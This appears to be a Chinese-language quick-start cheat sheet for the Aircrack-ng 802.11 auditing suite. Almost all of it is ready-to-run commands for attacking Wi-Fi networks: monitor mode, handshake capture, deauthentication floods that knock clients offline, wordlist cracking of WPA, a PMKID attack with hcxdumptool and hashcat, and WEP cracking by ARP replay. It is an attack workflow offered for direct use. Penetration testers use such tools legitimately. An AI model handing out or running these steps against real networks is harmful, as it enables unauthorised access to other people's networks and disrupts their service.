Aircrack-ng

802.11 无线审计套件 — WEP/WPA/WPA2 抓包与破解。

快速开始

apt install aircrack-ng

# 1. 开启监听模式
airmon-ng start wlan0    # 创建 wlan0mon

# 2. 发现网络
airodump-ng wlan0mon

# 3. 捕获目标握手包
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# 4. 对客户端发送去认证包（在独立终端中）以强制重新握手
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# 5. 破解 WPA 握手包
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

工具套件

常见工作流程

WPA PMKID 攻击（无需客户端）：

hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng
hcxpcapngtool pmkid.pcapng -o hashes.22000
hashcat -m 22000 hashes.22000 rockyou.txt

WEP 破解：

airodump-ng -c 11 --bssid BSSID -w wep wlan0mon
aireplay-ng -3 -b BSSID wlan0mon   # ARP 重放
aircrack-ng wep-01.cap              # 收集足够 IV 后自动破解

资源